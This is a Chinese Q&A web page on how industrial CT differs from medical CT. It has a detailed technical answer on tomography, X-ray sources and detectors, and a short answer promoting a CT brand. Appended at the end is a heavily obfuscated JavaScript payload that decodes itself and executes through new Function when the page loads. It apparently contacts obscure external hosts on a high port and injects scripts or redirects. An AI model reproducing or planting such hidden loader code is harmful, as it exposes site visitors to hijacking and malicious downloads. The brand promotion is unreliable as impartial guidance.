工业CT与医用CT性能要求差别

2025-03-03 23:12:04
推荐回答(2个)
回答1:

本文主要是帮助那些不十分熟悉工业CT 物理原理的读者理解工业CT 技术参数对性能指标的影响,以便在选择和购买工业CT 设备时,能恰如其分地提出技术要求,合理地在性能和价格之间取得折衷。

1 工业CT 的基本特点

1.1 工业CT 概述

CT 即计算机断层成像技术,是英语Computed Tomography 的缩写。而tomography 一词源于希腊字tomos,意思是一种能对单个平面照相,同时去除其他平面结构影响的X 射线照相技术。用传统人体透视方法,三维的人体沿X 射线的方向被压缩成了两维的图像,体内所有骨骼结构和组织都重叠在一起,使得感兴趣对象的清晰程度大为下降。这样尽管它有极好的空间分辨率(分辨紧邻的高反差物体的能力),可是最后只有很差的低反差分辨率(从背景上区分低反差物体的能力)。因此导致了传统断层成像技术的出现[8]。

传统断层成像的基本原理如图1 所示。先考虑病人体内两个孤立的点A 和B:A 点在焦平面上而B 点在焦平面以外。A 点和B 点投射到X 胶片上的阴影对应地标注为A1 和B1,如图 1(a)。这时胶片上生成的图像和传统照相完全没有区别,然后使X 射线源和X 胶片同步地沿相反方向运动(例如如图所示,X 射线源向左运动而X胶片向右运动)到第二个位置。我们要确保固定点A 生成的阴影A2 与A 点在第一位置生成的阴影A1 重合。这一点很容易通过设置X 射线源和X 胶片移动的距离,使它们正比于对A 点相应的距离来实现,如图 1(b)。然而固定点B 在第二位置生成的阴影B2 与B1 是不重合的。这就是因为B 点不在焦平面上,从B 点到X 射线源和B 点到胶片的距离比偏离了对A 点相应的距离比。当X 射线源和胶片沿一条直线(自然是相反方向)连续运动时,B 点生成的阴影形成了一个直线段,这个性质对焦平面以外上下的任何点都是适用的。应该注意到不聚焦的那些点生成的阴影强度降低了,这是由于阴影分布到一个扩展了的面积上。而所有焦平面上的点都保持了原来胶片上的图像位置,其阴影仍然是一个点,相应的强度没有减小。

图1 传统断层成像的原理

虽然这种断层成像技术在生成清晰的感兴趣平面的图像方面取得一些成功,但它们并没有增加物体的反差,也不能根本上去除焦平面以外的其他结构。明显损害了图像的质量。

现代断层成像技术——即CT,是基于从多个投影数据应用计算机重建图像的一种方法,现代断层成像过程中仅仅采集通过特定剖面(被检测对象的薄层,或称为切片)的投影数据,用来重建该剖面的图像,因此也就从根本上消除了传统断层成像的“焦平面”以外其他结构对感兴趣剖面的干扰,“焦平面”内结构的对比度得到了明显的增强;同时断层图像中图像强度(灰度)数值能真正与被检对象材料的辐射密度产生对应的关系,发现被检对象内部辐射密度的微小变化。事实上,低对比度可探测能力(LCD)是CT 和常规射线照相之间的关键区别。这也是CT 在临床上迅速得到接受的最主要因素。

需要强调的是,除了CT 技术以外的所有无损检测技术都没有这个能力。因为没有重叠结构的干扰,图像的解释要比传统射线照相容易得多。新的购买者能很快看懂CT 的结果因此从上世纪70 年代初英国EMI 出现世界上第一台医用CT 扫描设备以来,CT 技术一直迅速发展。现在CT 已成为最常用的临床诊断工具之一。而近年来螺旋CT 的出现又使这个技术前进一大步。

工业CT 的基本原理与医用CT 相同,因此也具有医用CT 所有的基本特点。其检测图像没有被检测的“切片”以外结构材料的干扰可发现检测对象内部极小的材料密度变化。同时图像的解释要比传统射线照相容易得多。

因此工业CT 也被广泛用来检查机械零部件内部结构或装配正确性,还可以用于非破坏测量零件内部尺寸。近年来,鉴于各种其他无损检测手段的大量研究没有得到令人满意的结果,工业CT 又被认为是检查毒品和爆炸物最有应用前景的手段。

值得注意的是CT 检测得到的是辐射密度分布图像,更专业一些应当称之为射线线性衰减系数的分布图像。由于在大多数情况下辐射密度与材料密度有近似的对应关系,人们往往把CT 图像误认为就是一般(材料)密度的分布图像。这种混淆在很多实际应用情况下并无很大害处,然而在精确定量分析检测结果时就有可能导致一些错觉。

由于检测对象的不同,工业CT 与医用CT 差别很大,以至从外表上几乎看不出多少相似的地方。医用CT 的检测对象基本上是人体或器官,材料密度和外形尺寸的变化范围相对比较小。但是工业CT 的检测对象就要广泛得多,从微米级的集成电路到超过一米的大型工件,从密度低于水的木材或其它多孔材料到高原子序数的重金属材料都是CT 检测对象;关心的检测要求从各类内部缺陷到装配结构和尺寸测量,也各不相同。这就使不同用途的工业CT 系统所用的射线源、射线探测器和系统结构很不相同,甚至工业CT 系统之间的外形也大不相同。从这个意义上说,理解工业CT 比理解医用CT 也许更加困难。

工业CT 的缺点是因为其技术复杂,设备价格相对高昂。设备的使用和维护相对难度也较大。另外重建断层图像需要采集的数据量庞大检测速度较慢。

1.2 工业CT 的主要部件和它们的特点

一个工业CT 系统至少应当包括射线源,辐射探测器,样品扫描系统,计算机系统(硬件和软件)等。

1.2.1 射线源的种类

射线源常用X 射线机和直线加速器,统称电子辐射发生器。电子回旋加速器从原则上说可以作CT 的射线源,但是因为强度低,几乎没有得到实际的应用。X 射线机的峰值射线能量和强度都是可调的,实际应用的峰值射线能量范围从几KeV 到450KeV;直线加速器的峰值射线能量一般不可调,实际应用的峰值射线能量范围从1 ~16MeV,更高的能量虽可以达到,主要仅用于实验。电子辐射发生器的共同优点是切断电源以后就不再产生射线,这种内在的安全性对于工业现场使用是非常有益的。电子辐射发生器的焦点尺寸为几微米到几毫米。在高能电子束转换为X 射线的过程中,仅有小部分能量转换为X 射线,大部分能量都转换成了热,焦点尺寸越小,阳极靶上局部功率密度越大,局部温度也越高。实际应用的功率是以阳极靶可以长期工作所能耐受的功率密度确定的。因此,小焦点乃至微焦点的的射线源的使用功率或最大电压都要比大焦点的射线源低。电子辐射发生器的共同缺点是X 射线能谱的多色性,这种连续能谱的X 射线会引起衰减过程中的能谱硬化,导致各种与硬化相关的伪像。

同位素辐射源的最大优点是它的能谱简单,同时有消耗电能很少,设备体积小且相对简单,而且输出稳定的特点。但是其缺点是辐射源的强度低,为了提高源的强度必须加大源的体积,导致“焦点”尺寸增大。在工业CT 中较少实际应用。

同步辐射本来是连续能谱,经过单色器选择可以得到定向的几乎单能的高强度X 射线,因此可以做成高空间分辨率的CT 系统。但是由于射线能量为20KeV 到30KeV,实际只能用于检测1mm 左右的小样品,用于一些特殊的场合。

1.2.2 辐射探测器

工业CT 所用的探测器有两个主要的类型——分立探测器和面探测器

1.2.2.1 分立探测器

常用的X 射线探测器有气体和闪烁两大类。

气体探测器具有天然的准直特性,限制了散射线的影响;几乎没有窜扰;且器件一致性好。缺点是探测效率不易提高,高能应用有一定限制;其次探测单元间隔为数毫米,对于有些应用显得太大。

应用更为广泛的还是闪烁探测器。闪烁探测器的光电转换部分可以选用光电倍增管或光电二极管。前者有极好的信号噪声比,但是因为器件尺寸大,难以达到很高的集成度,造价也高。工业CT 中应用最广泛的是闪烁体—光电二极管组合。

应用闪烁体的分立探测器的主要优点是:闪烁体在射线方向上的深度可以不受限制,从而使射入的大部分X 光子被俘获,提高探测效率。尤其在高能条件下,可以缩短获取时间;因为闪烁体是独立的,所以几乎没有光学的窜扰;同时闪烁体之间还有钨或其他重金属隔片,降低了X 射线的窜扰。若将隔片向前延伸形成准直器还可以挡住散射X 射线;分立探测器可以达到16~ 20 bits 的动态范围,而且不致因为散射和窜扰性能降低。分立探测器的读出速度很快,在微秒量级。同时可以用加速器输出脉冲来选通数据采集,最大限度减小信号上叠加的噪声。分立探测器对于辐射损伤也是最不敏感的。

分立探测器的主要缺点是像素尺寸不可能做得太小,其相邻间隔(节距)一般大于0.1mm;另外价格也要贵一些。

有一些关于CdZnTe 半导体探测器阵列用于工业CT 的报导。半导体探测器俗称为固体电离室,由于本身对X 射线灵敏,无须外加闪烁体,这种探测器尺寸可以做得较小,没有光学的窜扰。如果探测单元之间没有重金属隔片,仍然无法避免散射X 射线的影响。应当说这是一种很有应用前景的CT 探测器,但目前还有余辉过长等一些技术问题需要解决。

1.2.2.2 面探测器

面探测器主要有三种类型:高分辨半导体芯片、平板探测器和图像增强器。半导体芯片又分为CCD 和CMOS。CCD 对X 射线不敏感,表面还要覆盖一层闪烁体将X 射线转换成CCD 敏感的可见光。平板探测器和图像增强器本质上也需要内部的闪烁体先将X 射线转换成这些器件敏感波段的可见光。

半导体芯片具有最小的像素尺寸和最大的探测单元数,像素尺寸可小到10 微米左右,探测单元数量取决于硅单晶的最大尺寸,一般直径在50mm 以上。因为探测单元很小,信号幅度也很小,为了增大测量信号可以将若干探测单元合并。为了扩大有效探测器面积可以用透镜或光纤将它们光学耦合到大面积的闪烁体上。用光纤耦合的方法理论上可以把探测器的有效面积在一个方向上延长到任意需要的长度。使用光学耦合的技术还可以使这些半导体器件远离X 射线束的直接辐照,避免辐照损伤。

用半导体芯片也可以组成线探测器阵列,每个探测单元对应的闪烁体之间没有隔离或者在许多探测单元上覆盖一整条闪烁体,具有面探测器的基本特征,除了像素尺寸小的优点以外,其性能无法与分立探测器相比。图像增强器是一种传统的面探测器,是一种真空器件。名义上的像素尺寸<100μm,直径152~457mm(6~18in)。读出速度可达15~30 帧/s,是读出速度最快的面探测器。由于图像增强过程中的统计涨落产生的固有噪声,图像质量比较差,一般射线照相灵敏度仅7~8%,在应用计算机进行数据叠加的情况下,射线照相灵敏度可以提高到2%以上。另外的缺点就是易碎和有图像扭曲。

回答2:

工业CT要求穿透力强,精度高,所以配备的射线管电压高、功率大。
医用的用来照射人体,人体的密度低(1.09),只需要小功率即可。
可以关注俐玛CT,俐玛智能三维CT测量系统,精度达到 0.5um。直接对标国际欧美品牌,自有核心软件算法。

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();